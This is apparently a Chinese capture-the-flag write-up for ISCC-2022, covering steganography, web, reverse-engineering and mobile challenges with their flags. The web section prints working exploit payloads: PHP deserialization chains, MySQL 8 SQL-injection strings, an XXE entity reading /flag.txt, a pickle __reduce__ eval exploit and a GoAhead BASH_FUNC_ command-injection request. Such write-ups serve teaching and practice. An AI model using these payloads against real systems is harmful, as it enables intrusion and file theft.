ISCC-2022部分wp
字数 2440 2025-08-06 21:48:45
ISCC-2022 CTF 部分题目解析与教学文档
0x01 MISC(杂项)
-
单板小将苏翊鸣
- 解题步骤:
- 下载附件(压缩包+图片),修改图片高度发现隐藏的二维码。
- 扫码获取密码
15942,解压得到ISCC{beij-dbxj-2004}。
- 知识点:
- 图片隐写(高度修改、二维码识别)。
- 压缩包密码爆破(若二维码不可见)。
- 解题步骤:
-
降维打击
- 解题步骤:
- 使用
foremost分离图片,发现隐藏的 PNG。 - 通过
zsteg分析通道数据(b1,r,lsb,yx),提取魔女文字对照表解码,得到ISCC{RARC-ZQTX-EDKM}。
- 使用
- 知识点:
- 文件分离工具(
foremost、binwalk)。 - LSB隐写分析(
zsteg)。
- 文件分离工具(
- 解题步骤:
-
藏在星空中的诗-1
- 解题步骤:
- 用 Photoshop 打开 PSD 文件,调整不透明度为 100%,观察星星顺序为
1 3 5 2 4。 - 根据顺序拼接密码,得到
ISCC{CLUOLCDYZAWTFV}。
- 用 Photoshop 打开 PSD 文件,调整不透明度为 100%,观察星星顺序为
- 知识点:
- PSD 文件隐写(图层分析)。
- 解题步骤:
-
真相只有一个
- 解题步骤:
- 使用
zsteg分析 PNG 文件,发现b1,rgb,lsb,xy通道的文本隐写。 - 提取后得到摩斯密码
.. ... -.-. -.-. -- .. ... -.-.,解码为ISCC。 - 结合
nsow隐写提示,最终 flag 为ISCC{4Pbq-e9h2-r8AM}。
- 使用
- 知识点:
- 多通道隐写分析(
zsteg)。 - 摩斯密码解码。
- 多通道隐写分析(
- 解题步骤:
-
隐秘的信息
- 解题步骤:
- 将十六进制字符串转换为二进制,去除空格后解码为 ASCII。
- 拼接得到
ISCC{iBud7T7RXCMJyeT8vtRq}。
- 知识点:
- 二进制/ASCII 转换(Python 脚本处理)。
- 解题步骤:
0x02 WEB(Web 安全)
-
冬奥会
- 漏洞点:
- JSON 参数弱类型比较(
year="2022a"绕过is_numeric)。 - 数组逻辑绕过(
items=[0,[2],1]满足count=3且第二个元素为数组)。
- JSON 参数弱类型比较(
- Payload:
GET /?Information={"year":"2022a","items":[0,[2],1]} HTTP/1.1 - Flag:
ISCC{W31com3_T0_Beijin9}
- 漏洞点:
-
Pop2022
- 解题步骤:
- 反序列化链构造:
Road_is_Long -> Make_a_Change -> Try_Work_Hard。 - 利用
Try_Work_Hard类的__invoke方法触发文件读取(php://filter)。
- 反序列化链构造:
- Exp:
class Road_is_Long{ public $page; public $string; } class Try_Work_Hard{ protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; } class Make_a_Change{ public $effort; } $a = new Road_is_Long(); $a->string = new Make_a_Change(); $a->string->effort = new Try_Work_Hard(); echo serialize($a); - Flag:
ISCC{P0p_Zi_aNd_P1p_Mei_Da1ly_life_2022}
- 解题步骤:
-
Easy-SQL
- 漏洞点:
- MySQL 8.0 特性:
union table替代union select绕过过滤。 - 二次注入:通过
username=-1' union values row("admin","admin","ki10Moc")#伪造管理员。
- MySQL 8.0 特性:
- Payload:
id=8 union table emails limit 8,1 --+ POST: username=-1' union values row("admin","admin","ki10Moc")#&passwd=ki10Moc - Flag:
ISCC{Fdsfs219_19FdFasVEsd0f158_T0o_SFFsd12156fs_m1}
- 漏洞点:
-
findme
- 解题步骤:
- 利用 PHP 原生类(
GlobIterator)遍历目录,发现f*.txt。 - 使用
SplFileObject读取fSSSbis19k_sdW15dMe.txt。
- 利用 PHP 原生类(
- Exp:
class a{ public $un0='GlobIterator'; public $un1='f*.txt'; } class b{ public $un0='SplFileObject'; public $un1='fSSSbis19k_sdW15dMe.txt'; } - Flag:
ISCC{DS19sdw_SssfDA10nK_2077yyyyNNNN}
- 解题步骤:
-
XXE 漏洞(爱国敬业好青年-2)
- 解题步骤:
- 发现坐标转换漏洞(
116°23′E 39°54'N)。 - 通过 XXE 读取系统文件:
<!ENTITY ki10Moc SYSTEM "file:///flag.txt"> - 发现坐标转换漏洞(
- Flag:
ISCC{w179Qxxs_1QvPlNmSzX08vE_a18s_1q1846NO}
- 解题步骤:
0x03 REVERSE(逆向工程)
- Amy's Code
- 解题步骤:
- 分析数组运算逻辑,逐字节异或解密。
- Python 脚本:
str1 = [149,169,...,110] str2 = [76,87,...,74] flag = ''.join([chr((str1[i]-str2[i])^i) for i in range(20)]) - Flag:
ISCC{reverse_i18Li8}
- 解题步骤:
0x04 MOBILE(移动安全)
- MOBILEA
- 解题步骤:
- 逆向 JNI 层逻辑,发现 Base64 编码的 MD5 校验。
- 解密
=IkMBb+=gF2/Try5PCUruw1j得到中间值。 - AES 解密(密钥
K@e2022%%y,IVI&V2022***)获取 flag 片段。
- Flag:
ISCC{JFV(*&TFVcfgtyui_leaf}
- 解题步骤:
擂台赛题目
-
MISC-666
- 解题步骤:
- 修改 GIF 高度,提取帧中的 Base64 数据。
- 九键密码解码 + AES 解密。
- Flag:
ISCC{lbwmeiyoukaig}
- 解题步骤:
-
WEB-Melody
- 漏洞点:
- Flask 会话伪造(密钥
meldoy-is-so-cute-wawawa!)。 - Pickle 反序列化绕过(禁用
R指令)。
- Flask 会话伪造(密钥
- Exp:
class register: def __reduce__(self): return (eval, ("open('flag.txt').read()",)) print(base64.b64encode(pickle.dumps(register()))) - Flag:
ISCC{2022_melody_secrets}
- 漏洞点:
-
GoAhead RCE(ping2rce)
- 漏洞点:
- 环境变量注入(
BASH_FUNC_ping%%)。
- 环境变量注入(
- Payload:
POST /cgi-bin/ping?ip=0.0.0.0 HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxx ------WebKitFormBoundaryxxx Content-Disposition: form-data; name="BASH_FUNC_ping%%" () { cat /flag; } - Flag:
ISCC{c1522169-7dcvd499-4add960-9ad36-8b2a5f2f7}
- 漏洞点:
总结
- 隐写术:关注文件头、高度/宽度修改、LSB、二维码。
- Web 漏洞:弱类型比较、反序列化链、SQL 注入绕过、XXE、SSRF。
- 逆向工程:动态调试 + 静态分析(IDA Pro)。
- 移动安全:JNI 逆向、加密算法逆向。
- 工具推荐:
zsteg、foremost、Burp Suite、IDA Pro。
通过以上案例,可系统学习 CTF 常见题型及解题思路。